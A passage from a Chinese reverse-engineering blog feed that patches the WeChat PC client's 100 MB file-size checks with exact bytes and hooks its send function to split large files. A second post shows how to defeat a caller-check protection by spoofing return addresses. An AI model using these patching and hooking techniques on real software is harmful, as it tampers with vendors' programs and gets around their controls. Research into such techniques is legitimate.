WeChatWin!IMVQQEngine::&#96;default constructor closure&#39;+0x285f8f</span><br><span class="line">04 0075ec54 753e48eb 00521896 000007e7 00000000 WeChatWin!IMVQQEngine::&#96;default constructor closure&#39;+0x285c8e</span><br><span class="line">05 0075ec80 753c613c 792e54a0 00521896 000007e7 USER32!_InternalCallWinProc+0x2b</span><br><span class="line">06 0075ed64 753c528e 792e54a0 00000000 000007e7 USER32!UserCallWinProcCheckWow+0x3ac (FPO: [SEH])</span><br><span class="line">07 0075edd8 753c5070 000007e7 0075ee18 7968d71f USER32!DispatchMessageWorker+0x20e (FPO: [Non-Fpo])</span><br><span class="line">08 0075ede4 7968d71f 0075edfc 00000000 00d90000 USER32!DispatchMessageW+0x10 (FPO: [Non-Fpo])</span><br><span class="line">09 0075ee18 79666f9e 77779830 754207b0 00000001 WeChatWin!WCSGetInstance+0x2388f</span><br><span class="line">0a 0075f0a0 00d91918 00d90000 00a72bf2 00000000 WeChatWin!StartWachat+0x14e</span><br><span class="line">0b 0075f8bc 00d930b9 00d90000 00000000 00a72bf2 WeChat+0x1918</span><br><span class="line">0c 0075f908 77776359 00520000 77776340 0075f974 WeChat+0x30b9</span><br><span class="line">0d 0075f918 77a57a94 00520000 b5777c1c 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])</span><br><span class="line">0e 0075f974 77a57a64 ffffffff 77a78e17 00000000 ntdll_779f0000!__RtlUserThreadStart+0x2f (FPO: [SEH])</span><br><span class="line">0f 0075f984 00000000 00d9312b 00520000 00000000 ntdll_779f0000!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])</span><br></pre></td></tr></table></figure> <p>根据返回地址<code>7908eac2</code>计算到在IDA中地址<code>100deac2</code>，用IDA翻看一下函数怎么做的。</p> <p>微信可以同时选择多个文件，这里循环获取到路径，限制最多10个，然后进入sub_100DEED0处理。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">v24 &#x3D; -GetOpenFileNameW(&amp;v44);</span><br><span class="line">if ( *filename )</span><br><span class="line">    &#123;</span><br><span class="line">      while ( 1 )</span><br><span class="line">      &#123;</span><br><span class="line">        memset(&amp;String1, 0, 0x208u);</span><br><span class="line">        lstrcatW(&amp;String1, (LPCWSTR)String);</span><br><span class="line">        lstrcatW(&amp;String1, filename);           &#x2F;&#x2F; 构造完整路径</span><br><span class="line">        v46 &#x3D; 0;</span><br><span class="line">        *(_OWORD *)sigle_filepath &#x3D; 0i64;</span><br><span class="line">        sub_104822F0((int *)sigle_filepath, &amp;String1, 0xFFFFFFFF);</span><br><span class="line">        LOBYTE(v73) &#x3D; 4;</span><br><span class="line">        sub_10056060((unsigned int *)&amp;filepath1, (unsigned int)sigle_filepath);</span><br><span class="line">        LOBYTE(v73) &#x3D; 3;</span><br><span class="line">        if ( ++ii &gt; 10 )                        &#x2F;&#x2F; 最多10个文件</span><br><span class="line">          break;</span><br><span class="line">        filename +&#x3D; lstrlenW(filename) + 1;     &#x2F;&#x2F; 下一个文件</span><br><span class="line">        if ( !*filename )</span><br><span class="line">          goto LABEL_35;</span><br><span class="line">      &#125;</span><br><span class="line">...</span><br><span class="line">sub_104822F0((int *)&amp;filepath__, *filepath1_, 0xFFFFFFFF);</span><br><span class="line">sub_100DEED0((int)v61, v33, filepath__.buf, filepath__.len, (int)v41, v42, v43);</span><br></pre></td></tr></table></figure> <p>进入函数<code>sub_100DEED0</code>之后，一下就看到获取文件大小的函数，然后是判断文件是否大于100M。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">    v16 &#x3D; f_FileUtils::fileSize_10475050(&amp;path);</span><br><span class="line">    filesize &#x3D; v16.LowPart;</span><br><span class="line"></span><br><span class="line">if ( filesize &gt; 0 )</span><br><span class="line">    &#123;</span><br><span class="line">      if ( filesize &gt;&#x3D; 104857600 )              &#x2F;&#x2F; 100M</span><br><span class="line">      &#123;</span><br><span class="line">         &#x2F;&#x2F;100M提示框</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>先手工windbg修改一下指令，验证是否正确。把0x6400000改为0，jl改成jge即可。篇幅原因，不展开了。</p> <p>通过调试确认，100M以上文件绕过这个限制。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">.text:100DF347 07C                 cmp     esi, 6400000h</span><br><span class="line">.text:100DF34D 07C                 jl      loc_100DF263 &#x2F;&#x2F;0f8c10ffffff&#x3D;&gt;0f8d10ffffff(jge)</span><br><span class="line">&#x3D;&gt;</span><br><span class="line">.text:100DF347 07C                 cmp     esi, 0</span><br><span class="line">.text:100DF34D 07C                 jge      loc_100DF263 &#x2F;&#x2F;0f8c10ffffff&#x3D;&gt;0f8d10ffffff(jge)</span><br></pre></td></tr></table></figure> <p>但是还没完，依然会弹框，居然还有二次验证。</p> <p>调试函数<code>sub_100DEED0</code>，单步继续往下走，看看是哪里弹框。最终找到在<code>sub_10099D70</code>这个函数里还有校验。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">v33 &#x3D; sub_104FF8F0(v7 + 337);</span><br><span class="line">sub_10099D70((_BYTE *)v7[344], (size_t *)&amp;path, (char *)(v33 &#x3D;&#x3D; 0));</span><br></pre></td></tr></table></figure> <p>同样进入<code>sub_10099D70</code>，找到校验代码。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">v7 &#x3D; f_FileUtils::fileSize_10475050(a2);</span><br><span class="line">  filesize &#x3D; v7.LowPart;</span><br><span class="line">if ( filesize &gt; 0 )</span><br><span class="line">  &#123;</span><br><span class="line">    if ( filesize &gt; 104857600 )                 &#x2F;&#x2F; 100M</span><br><span class="line">    &#123;</span><br><span class="line">        &#x2F;&#x2F;100M提示框</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>windbg修改一下指令，验证是否正确。把0x6400000改为0，jle改成jge即可，调试确认绕过检查。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">.text:1009A34C 0AC                 cmp     esi, 6400000h</span><br><span class="line">.text:1009A352 0AC                 jle     loc_1009A25C&#x2F;&#x2F;0f8e04ffffff    &#x3D;&gt;0f8d04ffffff(jge)</span><br><span class="line">&#x3D;&gt;</span><br><span class="line">.text:1009A34C 0AC                 cmp     esi, 0</span><br><span class="line">.text:1009A352 0AC                 jge     loc_1009A25C&#x2F;&#x2F;0f8e04ffffff    &#x3D;&gt;0f8d04ffffff(jge)</span><br></pre></td></tr></table></figure> <p>过了这两处检查后，文件成功显示在输入框中。</p> <p><img src="/img/wechat_100_2.png" alt="img"></p> <p>不过直接发送依然失败，显示“上传文件大小不能大于100M”，应该是服务器做了检查。</p> <p><img src="/img/wechat_100_2_1.png" alt="img"></p> <p>另外，微信还支持拖动文件发送，经过前面两步的突破，此时拖入文件依然提示“发送的文件大小不能大于100M”。</p> <p>那继续把这个干掉吧。拖动文件首先想到的就是<code>DragQueryFileW</code>，加上断点试试。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">bp shell32!DragQueryFileW</span><br><span class="line">0:000:x86&gt; kv</span><br><span class="line"> # ChildEBP RetAddr  Args to Child              </span><br><span class="line">00 004fdbec 790ce89a 0f1a3978 ffffffff 00000000 SHELL32!DragQueryFileW </span><br><span class="line">01 004fded8 7577104b 038ca6c0 0c6b0bf8 00000001 WeChatWin!IMVQQEngine::&#96;default constructor closure&#39;+0x6efba&#x2F;&#x2F;1011e89a 1011e8c9</span><br><span class="line">02 004fdf18 75e0f4c4 02fa7770 00000002 00180cd0 ole32!CPrivDragDrop::PrivDragDrop+0x2eb (FPO: [Non-Fpo]) (CONV: stdcall) [com\ole32\com\rot\getif.cxx @ 658] </span><br><span class="line">03 004fdf5c 75dd4f3d 75770d60 004fe178 0000000c RPCRT4!Invoke+0x34</span><br><span class="line"></span><br><span class="line">0:000:x86&gt; kv 4</span><br><span class="line"> # ChildEBP RetAddr  Args to Child              </span><br><span class="line">00 004fdbec 790ce8c9 0f1a3978 00000000 004fdcc0 SHELL32!DragQueryFileW (FPO: [Non-Fpo])</span><br><span class="line">01 004fded8 7577104b 038ca6c0 0c6b0bf8 00000001 WeChatWin!IMVQQEngine::&#96;default constructor closure&#39;+0x6efe9&#x2F;&#x2F;1011e8c9</span><br><span class="line">02 004fdf18 75e0f4c4 02fa7770 00000002 00180cd0 ole32!CPrivDragDrop::PrivDragDrop+0x2eb (FPO: [Non-Fpo]) (CONV: stdcall) [com\ole32\com\rot\getif.cxx @ 658] </span><br><span class="line">03 004fdf5c 75dd4f3d 75770d60 004fe178 0000000c RPCRT4!Invoke+0x34</span><br></pre></td></tr></table></figure> <p>确实拖动中会断下，但经过分析并不是关键代码，没有对文件进行处理，另外断下后，再跑起来，拖动文件失败。</p> <p>所以另想他法。又想到了前面没有用处的<code>getfilesizeex</code>,再来尝试一下。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">0:004&gt; bp kernel32!getfilesizeex</span><br><span class="line">0:004&gt; g</span><br><span class="line">Breakpoint 6 hit</span><br><span class="line">KERNEL32!GetFileSizeEx:</span><br><span class="line">777840e0 ff25d80f7e77    jmp     dword ptr [KERNEL32!_imp__GetFileSizeEx (777e0fd8)] ds:002b:777e0fd8&#x3D;&#123;KERNELBASE!GetFileSizeEx (76ce2ec0)&#125;</span><br><span class="line">0:000:x86&gt; kv</span><br><span class="line"> # ChildEBP RetAddr  Args to Child              </span><br><span class="line">00 004fde4c 791a9fc6 c74c6e8e 00000001 038ca6c0 KERNEL32!GetFileSizeEx</span><br><span class="line">01 004fdec8 790cea71 0c700528 7a00c9dc 004fdf18 WeChatWin!IMVQQEngine::&#96;default constructor closure&#39;+0x14a6e6 &#x2F;&#x2F;101f9fc6</span><br><span class="line">02 004fded8 75770ed2 038ca6c0 0c700528 00000000 WeChatWin!IMVQQEngine::&#96;default constructor closure&#39;+0x6f191</span><br><span class="line">03 004fdf18 75e0f4c4 02fa7770 00000002 00180cd0 ole32!CPrivDragDrop::PrivDragDrop+0x172 (FPO: [Non-Fpo]) </span><br></pre></td></tr></table></figure> <p>嘿嘿，没想到一下子找到了关键位置，<code>getfilesizeex</code>建了一功。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">filesize &#x3D; f_FileUtils::fileSize_10475050(v52);</span><br><span class="line"></span><br><span class="line">if ( sub_106DEFCB(*((_DWORD *)v2 + 463)) &#x3D;&#x3D; 2 )</span><br><span class="line">&#123;</span><br><span class="line">  if ( filesize.QuadPart &gt; 0x1900000 )</span><br><span class="line">    goto LABEL_28;</span><br><span class="line">&#125;</span><br><span class="line">else if ( filesize.QuadPart &gt; 104857600 )</span><br><span class="line">&#123; </span><br><span class="line">     &#x2F;&#x2F;100M提示</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>同样的方式，把0x6400000改为0，ja改成jbe，绕过这个校验。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">.text:101FA196 078 81 7D C0 00 00 40 06                          cmp     dword ptr [ebp+filesize], 6400000h</span><br><span class="line">.text:101FA19D 078 0F 87 76 FE FF FF                             ja      loc_101FA019</span><br><span class="line">&#x3D;&gt;</span><br><span class="line">.text:101FA196 078 81 7D C0 00 00 00 00                          cmp     dword ptr [ebp+filesize], 0</span><br><span class="line">.text:101FA19D 078 0F 86 76 FE FF FF                             jbe      loc_101FA019</span><br></pre></td></tr></table></figure> <p>OK，到这里，本地100M限制就成功突破，下面继续看看如何绕过服务器限制。</p> <h3 id="2、突破服务器100M限制"><a href="#2、突破服务器100M限制" class="headerlink" title="2、突破服务器100M限制"></a>2、突破服务器100M限制</h3><p>前面提到，能够选择大于100M文件之后，点击发送依然会失败，提示“上传文件大小不能大于100M”。</p> <p>很明显服务器做了上传文件限制。</p> <p>所以如何突破这个限制呢？</p> <p>额，动不了服务器代码啊…</p> <p>能够想到的就是在文件发送前，自动分割文件为小于100M的多个文件，然后将分割的文件自动发送出去，在接收方，把收到的每个文件再自动合并。</p> <p>如此服务器也不会说文件大于100M了，对于用户来说，体验也是一致的。</p> <p>是的，我就是这么实现的。</p> <p>首先，找到发送文件的函数。</p> <p>由于之前分享过如何找到发送消息的函数，详情请看文章<a href="https://mp.weixin.qq.com/s/uUXB9AHtnhCsD7gAfFYRoA">微信PC端技术研究(3)-如何找到消息发送接口</a>，所以这里不详细分析如何找到发送文件的函数了。</p> <p>直接拿来用，就是这个函数<code>sub_102382E0</code>。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">.text:100CC124 DE0 83 EC 14                                      sub     esp, 14h</span><br><span class="line">.text:100CC127 DF4 8B CC                                         mov     ecx, esp        ; filepath</span><br><span class="line">.text:100CC129 DF4 89 65 A0                                      mov     [ebp-60h], esp</span><br><span class="line">.text:100CC12C DF4 57                                            push    edi             ; </span><br><span class="line">.text:100CC12D DF8 E8 FE 5E 3B 00                                call    sub_10482030</span><br><span class="line">.text:100CC132 DF4 83 EC 14                                      sub     esp, 14h</span><br><span class="line">.text:100CC135 E08 8B CC                                         mov     ecx, esp</span><br><span class="line">.text:100CC137 E08 89 65 9C                                      mov     [ebp-64h], esp</span><br><span class="line">.text:100CC13A E08 FF 75 B4                                      push    dword ptr [ebp-4Ch]</span><br><span class="line">.text:100CC13D E0C E8 EE 5E 3B 00                                call    sub_10482030</span><br><span class="line">.text:100CC142 E08 8D 85 40 FB FF FF                             lea     eax, [ebp-4C0h] ; wxid</span><br><span class="line">.text:100CC148 E08 C6 45 FC 0F                                   mov     byte ptr [ebp-4], 0Fh</span><br><span class="line">.text:100CC14C E08 50                                            push    eax             ;</span><br><span class="line">.text:100CC14D E0C E8 AE F9 F9 FF                                call    sub_1006BB00</span><br><span class="line">.text:100CC152 E0C 8B C8                                         mov     ecx, eax</span><br><span class="line">.text:100CC154 E0C C6 45 FC 0C                                   mov     byte ptr [ebp-4], 0Ch</span><br><span class="line">.text:100CC158 E0C E8 83 C1 16 00                                call    sub_102382E0 &#x2F;&#x2F;发送文件</span><br></pre></td></tr></table></figure> <p>接口大概是这个样子的。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">void __stdcall fakeWechatSendMsg1(int unk, wchar_t* wxid, int len1, int maxlen1, int unk1, int unk2, wchar_t* path, int len2, int maxlen2, int unk3, int unk4, int a1, int a2, int a3, int a4, int a5, int a6)</span><br></pre></td></tr></table></figure> <p>然后hook sub_102382E0，拿到path文件路径后，获取文件大小，如果大于100M，则分割文件，然后重新调用sub_102382E0把分割文件发送出去。大概代码如下：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">bool fakeWechatSendMsgInternal(DWORD dwEcx, wchar_t* wxid, wchar_t* filepath)</span><br><span class="line">&#123;</span><br><span class="line">    int filesize &#x3D; XxGetFileSize(filepath); &#x2F;&#x2F;获取文件大小</span><br><span class="line">    if (filesize &gt; FILE_SIZE_100M) &#123;</span><br><span class="line">        return ExtendSendFile(dwEcx, wxid, filepath);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    return false;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">bool ExtendSendFile(DWORD dwEcx, wchar_t* wxid, WCHAR* filepath)</span><br><span class="line">&#123;</span><br><span class="line">    std::vector&lt;std::wstring&gt; filevec;</span><br><span class="line">    if (SplitFile(filepath, filevec) &amp;&amp; filevec.size() &gt; 0) &#123; &#x2F;&#x2F;分割文件</span><br><span class="line">        for (int i &#x3D; 0; i &lt; filevec.size(); i++) &#123;</span><br><span class="line">            SendFileMsg(wxid, (WCHAR*)filevec[i].c_str()); &#x2F;&#x2F;发送分割文件</span><br><span class="line">        &#125;</span><br><span class="line">        return true;</span><br><span class="line">    &#125;</span><br><span class="line">    return false;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>OK，突破服务器100M限制也完成了（详细实现代码请移步SuperWeChatPC开源项目）。</p> <p>不过在测试中，发现bug多多（说的是微信）。</p> <ul> <li>经测试自带单文件发送功能，100M，甚至99M、或者更小点的文件，发送到最后都没成功，微信bug or 网络问题？</li> <li>96M左右可以成功，55M左右文件可以妙传，不稳定，这个可能网络问题，但是我怎么也是100M宽带啊。</li> <li>自带多个文件同时发送，40M都无法发送成功。</li> <li>有时还会提示：文件无法发送，已超过今日发送限制。</li> <li>而此时选择10M以内文件依然能够发送成功。</li> </ul> <p>所以最后，我不得不面对现实，把文件分割成了每个10M大小的文件进行尝试，终于一个大于100M的文件发送成功了，并且非常稳定！</p> <p><img src="/img/wechat_100_3.png" alt="img"></p> <h3 id="3、总结"><a href="#3、总结" class="headerlink" title="3、总结"></a>3、总结</h3><p>简单总结一下，我是如何让微信发送成功100M以上文件的。</p> <ol> <li>首先、突破本地100M限制，也就是选择100M文件限制，最终patch三个点绕过判断即可。</li> <li>然后，hook发送文件接口，把大于100M文件分割，然后自动发送小文件。</li> <li>最后，接收方自动合并文件（并没有做，哈哈）</li> </ol> <p>因为接收方并没有做自动合并的功能，所以需要自己合并一下，也很简单。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F;使用windows原生命令合并文件</span><br><span class="line">copy &#x2F;b Test_100M.pdf._1+Test_100M.pdf._2+Test_100M.pdf._3 Test_100M.pdf</span><br></pre></td></tr></table></figure> <p>让这个功能更完美，还需要做：</p> <ol> <li>删除分割的小文件</li> <li>接收方自动合并文件</li> <li>微信修复bug，能够100M分割（@tencent @weixin)</li> </ol> <p>最后，想试用大文件传输功能，请下载最新的<a href="https://github.com/anhkgg/SuperWeChatPC">https://github.com/anhkgg/SuperWeChatPC</a>。</p> <p>欢迎PR、star、试用。</p> <p>欢迎关注技术公众号：<strong><span style="color:red">汉客儿</span></strong><br><img src="/img/wx.png" alt="img"></p> <p>转载请注明出处：<a href="https://anhkgg.com/anti-call/">https://anhkgg.com/anti-call/</a></p> ]]></content>          <summary type="html">            &lt;p&gt;QQ交流群：&lt;a href=&quot;https://jq.qq.com/?_wv=1027&amp;amp;k=5ww6tlB&quot;&gt;753894145&lt;/a&gt;&lt;/p&gt; &lt;p&gt;9102年了，我想大部分人使用微信的频率应该都会高于QQ了吧。&lt;/p&gt; &lt;p&gt;以前在QQ传文件的时候，哪里会想到会有文件大小限制，几G、几十G的文件随意传。&lt;/p&gt; &lt;p&gt;而现在，用微信传文件，很尴尬，只能传100M或更小的文件。&lt;/p&gt; &lt;p&gt;为什么做这个限制？我想可能是因为微信一开始就是手机应用。&lt;/p&gt;          </summary>            <category term="wechat" scheme="https://anhkgg.github.io/categories/wechat/"/>                 <category term="wechat" scheme="https://anhkgg.github.io/tags/wechat/"/>            <category term="crack" scheme="https://anhkgg.github.io/tags/crack/"/>        </entry>      <entry>     <title>一次美丽的误会引发对函数调用保护的思考</title>     <link href="https://anhkgg.github.io/anti-call/"/>     <id>https://anhkgg.github.io/anti-call/</id>     <published>2019-08-09T06:45:27.000Z</published>     <updated>2019-08-09T06:48:39.794Z</updated>          <content type="html"><![CDATA[<p>如何防止别人调用自己的函数？</p> <a id="more"></a> <p>很久没碰wx了，最近想写个东西，就重新拿了起来，最新版本2.6.8.65（此时已经2.6.8.68）。</p> <p>找到以前分析过的发送文本消息接口，发现函数大变样，很明显的vm痕迹。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">.vmp0:1131CE33 000                 push    2493AC03h</span><br><span class="line">.vmp0:1131CE38 004                 call    sub_1134AEB3</span><br><span class="line">.vmp0:1131CE3D 000                 mov     cx, [ebp+0]</span><br><span class="line">.vmp0:1131CE42 000                 test    bp, 373Dh</span><br><span class="line">.vmp0:1131CE47 000                 shl     ah, cl</span><br><span class="line">.vmp0:1131CE49 000                 mov     dx, [ebp+2]</span><br><span class="line">.vmp0:1131CE4E 000                 cmovnb  eax, edi</span><br><span class="line">.vmp0:1131CE51 000                 lea     ebp, [ebp-2]</span><br><span class="line">...</span><br><span class="line">.vmp0:1131CE9C                     bswap   eax</span><br><span class="line">.vmp0:1131CE9E                     inc     eax</span><br></pre></td></tr></table></figure> <p>当时也没在意，仔细看接口参数并没有变化，就直接拿来用了。</p> <p>结果发现接口不能用了，并没有成功发送文本信息。</p> <p>擦，难道vm里面藏了什么玄机，做了防止函数调用的保护？？</p> <p>…</p> <p>正整备大干一场的时候，重新测试给别人发送消息是ok的。</p> <p>这是一次美丽的误会，测试时是给自己的微信发送消息，结果证明该接口是不能给自己发的，所以没成功。</p> <p>…</p> <p>然后就继续说说先前自以为的wx在函数中可能做的防止调用的保护吧。</p> <h3 id="防"><a href="#防" class="headerlink" title="防"></a>防</h3><p>按照自己思考的防止别人调用函数的思路，其实就是检查调用源，那么肯定是从调用栈入手：</p> <ol> <li>在函数内部回溯调用堆栈，检查返回地址</li> <li>返回地址为微信模块则正常调用，否则拒绝执行</li> <li>可能检查一层（wechatwin.dll），或者多层</li> <li>可能检测返回地址在模块范围，或者是准确的返回地址</li> <li>vm相关逻辑，增加分析难度</li> </ol> <p>大概实现代码就是：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">void TestAntiCall(DWORD a1)</span><br><span class="line">&#123;</span><br><span class="line">&#x2F;&#x2F;vmstart</span><br><span class="line">    DWORD retAddr &#x3D; *((DWORD*)((char*)&amp;a1 - 4));&#x2F;&#x2F;</span><br><span class="line">    if(retAddr &gt; wxModuleBase &amp;&amp; retAddr &lt; wxModuleEnd) &#123;</span><br><span class="line">      &#x2F;&#x2F;do things</span><br><span class="line">    &#125; else &#123;</span><br><span class="line">       &#x2F;&#x2F;anti</span><br><span class="line">      &#x2F;&#x2F;do nothing</span><br><span class="line">    &#125;</span><br><span class="line">&#x2F;&#x2F;vmend</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <h3 id="攻"><a href="#攻" class="headerlink" title="攻"></a>攻</h3><p>所以能够想到的对抗方式就是在调用TestAntiCall的时候，修改调用栈返回地址，让TestAntiCall误以为确实是正常调用。</p> <p>这里分析只考虑检查一层返回地址。</p> <p>比如如下正常调用代码，00003就是返回地址，在合法模块内，即可正常调用。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F;正常调用代码</span><br><span class="line">void Right_TestAntiCall()</span><br><span class="line">&#123;</span><br><span class="line">00001 push a1</span><br><span class="line">00002 call TestAntiCall</span><br><span class="line">00003 add esp, 4</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>而我的调用TestAntiCall函数（在我的模块内）如下，<code>add esp, 4;</code>为TestAntiCall拿到的返回地址，这个地址肯定在我的模块内，调用失败。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">pfnTestAntiCall &#x3D; 原始TestAntiCall地址;</span><br><span class="line">pfnTestAntiCall_RetAddr &#x3D; 000003;&#x2F;&#x2F;调用TestAntiCall返回地址</span><br><span class="line">&#x2F;&#x2F;这个会失败</span><br><span class="line">void MyTestAntiCall(DWORD a1)</span><br><span class="line">&#123;</span><br><span class="line"> __asm &#123;</span><br><span class="line">    push a1;</span><br><span class="line">    call pfnTestAntiCall;</span><br><span class="line">    add esp, 4; &#x2F;&#x2F;返回地址</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>然后尝试欺骗<code>TestAntiCall</code>，我们修改一下调用栈的返回地址（本来应该是MyRetAddr）。</p> <p>通过<code>push+jmp</code>来替换通常的<code>call</code>，这样返回地址由我们自己压入，这里压入正常调用的返回地址<code>g_SendTextMsgRetAddr</code>。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F;这个会成功</span><br><span class="line">void MyTestAntiCall(DWORD a1)</span><br><span class="line">&#123;</span><br><span class="line">    __asm &#123;</span><br><span class="line">        push a1;</span><br><span class="line">        push g_SendTextMsgRetAddr;&#x2F;&#x2F;压入原始retaddr</span><br><span class="line">        jmp pfnWxSendTextMsg; &#x2F;&#x2F;调用函数，这样函数内部检测就是正常的</span><br><span class="line">        add esp, 4; &#x2F;&#x2F;MyRetAddr</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>当然，就这么简单的调用，肯定会出问题的，因为<code>jmp pfnWxSendTextMsg</code>之后，就会返回到<code>Right_TestAntiCall</code>的<code>00003</code>，如此显然导致栈破坏，会出现崩溃。</p> <p>所以为了让程序正常执行，还需要多两个处理步骤。</p> <ol> <li><code>Right_TestAntiCall</code>的00003处修改指令为jmp MyRetAddr。让执行流返回到MyTestAntiCall1</li> <li>恢复00003处原始指令。</li> </ol> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span 